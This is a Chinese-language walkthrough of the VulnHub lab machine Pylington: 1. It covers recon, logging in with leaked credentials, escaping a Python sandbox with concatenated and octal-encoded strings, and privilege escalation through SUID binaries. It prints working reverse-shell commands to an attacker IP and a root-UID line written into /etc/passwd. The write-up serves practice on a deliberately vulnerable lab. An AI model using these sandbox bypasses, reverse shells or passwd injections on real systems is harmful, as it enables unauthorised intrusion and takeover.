准备:

攻击机:虚拟机kali、本机win10。

靶机:Pylington: 1,下载地址:https://download.vulnhub.com/pylington/pylington.ova,下载后直接vbox打开即可。

知识点:敏感文件发现和利用、python代码执行、shell反弹、python代码过滤绕过。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.76。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.76,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.73 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt文件。

3.web信息

访问web服务时查看了下源代码信息,但是未发现有用信息,然后想着注册账户登录,但是告诉我们无法注册新用户,只能已经存在得账户才可以登录。

访问下目录扫描时发现的robots.txt文件,发现新的目录信息:/zbir7mn240soxhicso2z。

访问新发现的目录,返回页面信息中存在账户和密码信息:steve/bvbkukHAeVxtjjVH。

二:获取shell

利用获得账户和密码信息:steve/bvbkukHAeVxtjjVH登录系统,发现可以执行python代码和一个指向链接,访问该链接跳转到了:http://192.168.5.76/noimportos_sandbox.py,并给我们提示,告诉我们不要输入:import、os、open命令。

测试了以下import命令,发现会被检测并返回:H4CK3R AL3R7!!! Malicious program detected by the sandbox。尝试绕过对关键字符串的限制,使用拼接法进行测试,payload:exec('print("imp"+"ort")'),成功绕过限制输出import。

开始构造shell反弹语句,使用exec执行我们构造得shell反弹语句成功获得shell权限。

#原来语句
import os
os.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1') #绕过限制后得语句,注意有个双引号,不然会引起歧义无法执行
'imp'+'ort o'+'s'
'o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')" #执行语句
exec('imp'+'ort o'+'s')
exec('o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')")

或者通过脚本进行进制转生成可执行的字符串也行,如下可以获得返回的id信息,两种绕过方式均可以。

oct_result= ''
strings = 'import os'
for string in strings:
one_char = ord(string)
oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
print(oct_result)
#import os结果
\151\155\160\157\162\164\40\157\163
#os.system('id')结果
\157\163\56\163\171\163\164\145\155\50\47\151\144\47\51

三:提权

1.提权至py

尝试使用sudo -l来查找下特殊命令,但是告诉我们sudo需要密码。

使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/py/typing文件。

进入/home/py目录下发现user.txt、typing.cc、typing文件,并对对typing.c文件具有读取权限,对typing文件具有执行权限。

查看typing.cc文件得源码信息,发现该程序可以告诉我们密码信息。

执行typing文件,并按要求输入line得值,成功获得密码信息:54ezhCGaJV。

利用获得密码信息:54ezhCGaJV尝试切换到py账户,su py。成功切换到py账户并读取/home/py目录下的user.txt文件,成功获得flag值。

2.提权至root

尝试使用sudo命令,但是被限制了。想想也是密码都给你了咋会让你使用sudo。

那就继续使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现:/home/py/secret_stuff/backup文件。

进入/home/py/secret_stuff目录发现了backup得源码文件:backup.cc,访问backup.cc文件发现我们可以随意将一些信息备份到以/srv/backups/目录开头得文件中,因此想到直接向/etc/passwd文件中写入具有root权限的账户。

我们可以直接查看下kali中的密码信息然后写入到靶机中或者使用openssl创建密码:openssl passwd -1 -salt upfine upfine,我这里直接使用本机kali的密码:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.,可以在/etc/shadow文件查看,然后查看靶机中的root权限信息,命令cat /etc/passwd,发现其权限信息为:root:x:0:0::/root:/bin/bash,因此我们构造payload:upfine:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.:0:0::/root:/bin/bash,将payload写入到/etc/passwd问价即可。

尝试切换到我们添加的upfine账户,su upfine,成功切换到upfine账户并且该账户具有root权限。

获得root权限后在/root目录发现root.txt文件,读取该文件成功获得flag值。

vulnhub靶场之PYLINGTON: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. XSS跨站脚本攻击(Cross Site Scripting)

    XSS是跨站脚本攻击(Cross Site Scripting),不写为CSS是为了避免和层叠样式表(Cascading Style Sheets)的缩写混淆,所以将跨站脚本攻击写为XSS. 攻击者可 ...

  2. 移动APP测试要点

    一. UI测试 (1) 页面布局 ① 页面布局合理且友好,符合用户习惯 ② 列表型界面有滚动条 ③ 功能入口明显,容易找到 (2) 图形测试 ① 图片大小合适且清晰 ② 页面字体与风格一致 ③ 背景颜 ...

  3. 关于*p++的执行顺序

    不确定*p++哪个优先级高了,想偷懒到百度找找解释,发现高赞的评论下也骂声一片,还是回头自己试试. 1 #include <iostream> 2 using namespace std; ...

  4. 基于LabVIEW的计时器

    前言: 最近有人问我,怎么实现一个计时器计时,可以做到启动.停止.重新开始等功能,好久没关于LABVIEW的博文,借这个写个计时器相关内容. 一.Labview时间计时器介绍: 这里采用时间计时器计算 ...

  5. Python循环任务,错误打包输出

    有时候,多个任务循环在跑,但不想中间任何一个错误,停止主线程,但又想在主线程运行结束后,采集运行过程中所有的错误信息. 这种刁钻的想法,我自问自答,记录一下操作方法. err_list = [] ma ...

  6. 6-8次PTA题目集总结

    一,前言 1,第六次作业(针对电信计费) 本次作业主要是对类的操作,题目已经给出类图,类图里面已经给了各种方法以及属性.此次作业涉及了座机的计费方式,市内省内省外怎么计费.难度偏难,主要是各类之间怎么 ...

  7. software engineering homework 1

    1. 回顾你过去将近3年的学习经历 当初你报考的时候,是真正喜欢计算机这个专业吗? 你现在后悔选择了这个专业吗? 你认为你现在最喜欢的领域是什么(可以是计算机的也可以是其它领域)? 答:一开始感觉编程 ...

  8. Java中继承相关知识点

    继承 1.继承概述 继承是面向对象的三大特征之一.可以使得子类具有父类的属性和方法,还可以在子类中重新定义,追加属性和方法 1.1 继承的格式 格式:public class 子类名 extends ...

  9. Redis工具类 单机+集群

    package com.irdstudio.basic.framework.redis.redisutil; import org.springframework.dao.DataAccessExce ...

  10. mmdetection RPNHead--_init_layers()

    RPNHead类包含的函数: (1)_init_():初始化函数 (2)_init_layers():设置Head中的卷积层 (3)forward_single():单尺度特征图的前向传播 (4)lo ...